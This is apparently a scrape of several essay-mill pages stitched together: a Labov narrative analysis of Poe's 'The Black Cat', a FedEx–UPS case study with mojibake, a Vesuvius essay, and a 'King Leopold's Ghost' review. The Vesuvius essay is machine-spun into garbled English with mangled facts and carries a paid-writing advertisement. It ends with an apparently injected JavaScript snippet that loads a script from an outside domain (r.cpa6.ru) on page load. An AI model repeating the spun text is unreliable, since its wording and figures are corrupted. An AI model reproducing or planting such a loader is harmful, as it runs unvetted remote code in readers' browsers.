Analysing the Black Cat Using Labovs Narrative Structure

OBJECTIVES For this assignment, the study aims to: 1. produce a frequency chart according to the elements of Labov’s Narrative Structure 2. discuss the way Edgar Allen Poe structured his short story to form the elements of tragedy, mystery and terror as presented in the short story In completing the task, I will use Labov’s Narrative Theory to conduct narrative analysis of the short story, The Black Cat written by Edgar Allan Poe. The structure of this essay begins with the introduction to narrative and narrative analysis. The second part develops in the literature review where I will explain Labov’s Narrative Structure and introducing the author of the story, Edgar Allan Poe. The section ends with the discussion of The Black Cat†¦show more content†¦By looking at many narratives, they wish to identify and relate formal linguistic properties of narratives to their functions. Labov and Waletzky have come out with a framework functions as a tool in analyzing narrative literary text linguistically. The understanding behind this framework is narrative can be seen as socially situated through sociolinguistic approach. Cortazzi (1993) stresses that narrative is more than a linear order of narrative structure. In fact, if a narrative plainly follows the order or sequence of this circular structure, perhaps it may be abnormal. Narrative is an author’s personal touch and it serves as an additional function of personal interest, determined by a stimulus in the social context in which the narrative occurs. Definition given by Toolan (2001), is comprehensively acceptable that narrative is defined as a perceived sequence of non-randomly events, typically involving, as the experiencing agonist, humans or quasi-humans, or other sentient beings, from whose experience we human can ‘learn’. He also extends the definition by stating that our preference is often for the sequence of connected events to take shape around a state or period of turbulence or crisis, subsequently resolved that is while a sequence of events entails some sort of change of state, a sequence containing a resolved crisis or problems entails a pronounce change of state. The Importance of Narrative Analysis (NA) of Literary Text Stories are in important

FedEx VALUE CREATION AND ECONOMIC PROFIT United Parcel...

MEIHO UNIVERSITY CASE STUDY FOR FINANCIAL MANAGEMENT CASE 4: The Battle for Value, 2004: FedEx Corp. vs. United Parcel Service, Inc. VALUE CREATION AND ECONOMIC PROFIT Lecture: é  ¾ ç ´ ¹ 熙 è€  Ã¥ ¸ « Group 3: F49802134 èÆ' ¡ ç §â€¹ è â€° F49802153 é «Ëœ 玉 ä º « ç ® ® Presentation date: 16th Apr 2012 I. OUTLOOK OF CASE 4 Case 4 mentions about the competition between two leading companies in package- delivery market. FedEx which is the largest foreign presence in China, with 11 weekly flights, serving 220 Chinese cities, so the company’s volumes in China had grown by more than 50% between 2003 and 2004. UPS which is the world’s largest package-delivery company and dominant parcel carrier in US, serving 200 cities in 2003. FedEx had†¦show more content†¦Ever true to its humble origins, the company maintains its reputation for integrity, reliability, employee ownership, and customer service. For UPS, the future promises even more accomplishments as the next chapter in the company s history is written. III. THE BATTLE BETWEEN FEDEX AND UPS 1. Competition in the Express-Delivery Market a. Percentage of large shippers FEDEX RULES AIRS AND UPS RULES GROUND (%) Overall, the two companies split the small segment of the Express-Delivery market. There are ground market and air-express market. While UPS has dominated the ground area, the air-express has often been FedEx’s playground. b. Capital-investment expenditures The graph shows that from 1992 to 2003, cumulative capital Expenditures of FedEx and UPS regularly rise. Although the FedEx’s CCE is more than UPS, during this period, the two companies matched each other’s investments in capital almost exactly. c. Price competition Table1: Summary of Announced List-Rate Increase UPS 1998 1999 2000 2001 2002 2003 2004 Average UPS ground 3.6% 2.5% 3.1% 3.1% 3.5% 3.9% 1.9% 3.1% U.S domestic air 3.3% 2.5% 3.5% 3.7% 4.0% 3.2% 2.9% 3.3% U.S export 0.0% 0.0% 2.9% 2.9% 3.9% 2.9% 2.9% 2.2% FedEx 1998 1999 2000 2001 2002 2003 2004 Average FedEx ground 3.6% 2.5% 3.1% 3.1% 3.5% 3.9% 1.9% 3.1% U.S domestic air 3.5% 2.8% 0.0%Show MoreRelatedUnited States Post Office Dilemma5655 Words   |  23 Pagesï » ¿ United States Post Office Dilemma Sustainable Solutions Paper The Post Office Department known as the United States Postal Services (USPS) (Annual Report, 2009) today, is a dominate player in the mail delivery arena and has been existence since 1776. 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Vesuvius Essay Research Paper Mt Vesuvius ItalyLocation free essay sample

Vesuvius Essay, Research Paper Mt. Vesuvius, Italy Location: 40.8N, 14.4E Elevation: 4,200 pess ( 1,281 m ) Vesuvius is celebrated for the monolithic eruption in 79 A.D. that buried the towns of Herculaneum and Pompeii. Earthquakes often hit this country. The 79 A.D. eruption of Vesuvius was the first volcanic eruption of all time to be described in item. From 18 stat mis ( 30 kilometer ) of the vent you could see the eruption. It is estimated that at times during the eruption the column of ash was 20 stat mis ( 32 kilometer ) tall. About 1 three-dimensional stat mi ( 4 three-dimensional kilometres ) of ash was erupted in approximately 19 hours. Around 1:00 autopsy on the 24 of August a tall cloud of steam and ash rose above Mt. Vesuvius and debris began to fall. In the country around Pompeii the thickness of falling dust increased by 6 to 8 inches per hr. The stones which comprised the dust were up to 3 inches in diameter, and fell with a velocity of up to 100 miles/hour. We will write a custom essay sample on Vesuvius Essay Research Paper Mt Vesuvius ItalyLocation or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page They may hold caused hurts and stray deceases, and should hold, after a few hours, caused the prostration of roofs. The metropolis was shortly covered in complete darkness. The occupants likely did non even cognize what sort of event was striking them, and waited in their places, trusting that the shower of stone would sooner or subsequently come to an terminal. R / gt ; After 12 hours of uninterrupted explosive activity, a alteration in the eruptive kineticss occurred. The oral cavity of the vent widened such that local gas force per unit area could no longer force up the tall ash column. The mixture of gas and ash no longer rose up into the sky, but instantly fell back onto the inclines of the vent, organizing glowing avalanches of hot fluxing stuff ( about 800 grades ) which rushed quickly down incline, destructing everything in their waies. This alteration in the eruption proved fatal to the 1000s of people around the vent. The Roman towns of Pompeii and Herculaneum were destroyed in a affair of proceedingss. The metropolis was abandoned and its location forgotten. ( Other eruptions of Vesuvius. ) Mudflows and lava flows from the eruption in 1631 killed 3,500 people. About 3,360 people died in the 79 A.D. eruption from ash flows and falls. . In 5960 B.C. and 3580 B.C. , Mt. Vesuvius had eruptions that rate among the largest known in Europe. In 1595, diggings discovered artefacts at Pompeii and centuries of plundering followed. Archaeological diggings began in the mid-nineteenth century. There are legion casts of people in their concluding minutes. Now, much of Pompeii has been excavated and it has revealed much about how people lived during that clip ( and died during the eruption ) . ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

King Leopolds Ghost Essays - Congo Free State, E. D. Morel

King Leopold's Ghost King Leopold's Ghost tells a story of the Belgian King Leopold II and his misrule of an African colony, named (at the time) the Congo Free State. It is a wild and unpleasant story of a man's capacity for evil and the peculiar manifestation of it. In telling this story, Hochschild does a wonderful job of giving detailed descriptions, especially of the colorful individuals involved, both good and bad. His analysis of the situation is very solid, starting with the movement when the Congolese hero (Morel) finds out a very terrible fact and moving on through his (Morel) analysis and actions, all the while telling the story of a treacherous monster. Set in the palaces and boardrooms of Europe and in the villages of central Africa, it tells the story of the tragedy that took place during Leopold's so called rule, a tragedy that is so familiar to African-Americans, being told of our African brothers residing in the homeland. This horror story is just in fact that, a horror story, giving and revealing the utter most secrets of the respected King Leopold. Allow me to take you on a journey, pointing out the King's determination and, reasoning for what he'd done and the scars he left deep within the heart of the Congo. In the introduction I stated that Morel was the character that I considered to be the hero of this story, now the main question behind that would be, why? Along with, Who is Morel? His complete name was Edmund Dene Morel; he was a young clerk who worked for a Liverpool based firm where his duties were to supervise the unloading and reloading of the ships arriving in Antwerp, Belgium. As Morel watched the shipments arrive he noticed something, a great amount of ivory and rubber were being transported into Belgium but nothing was being taken out, as the book states: There is no trade going on here. Little or nothing is being exchanged for the rubber and ivory?with almost no goods being sent to Africa to pay for them, he realizes that there can be only one explanation for their source: slave labor. (p.2) With his newfound revelation at hand Morel does not sit still. Demonstrating that he refused to turn a blind eye to what fortune had allowed him to see, he soon becomes active with his newfound knowledge. Soon afterward Morel devoted his life to stopping slavery in the Congo. From the early 1900's until after the death of Leopold in 1909, Morel, having become a radical human rights campaigner, used the information smuggled out of the Congo by missionaries and Leopold's employees, to set up the Congo Reform Association (CRA) and mount a campaign that won the support of prominent politicians and churchmen, both in Britain and in the United States. Among these supporters was the highly respected Joseph Conrad (author of Heart of Darkness). So what about this Mr. King Leopold? As of now you must understand that he has done something far worse than inhabit slave labor and import ivory and rubber to have caused such a controversy across the world? Simply, Leopold wanted a colony, any colony to give his position some leverage; he felt that by owning more than just his small country, that he'd somehow be validated as a King. Since he'd noticed the world flying by him quickly with new developments and technological advancements, not to mention anyone who was anyone owned a piece of the colonialism pie, Leopold just had to have his piece. Leopold feeling squeezed out by the British, French Empires, and the rising power of Germany, studied forms of colonialism from the Dutch East Indies, to the British possession in Indian and Africa. Leopold's regime, despite his studies, differed from those of those of his fellow colonialists. Leopold schemed to build himself a forced labor camp on a massive expanse of central Africa and was quite smooth with pulling all of this off. Through methods of bribery, chicanery, brute force and almost supernatural sense of cunning, Leopold had acquired an enormous private colony in Africa and gotten the rest of the worked to accept his claim as legally binding. In 1884 Leopold gained recognition for the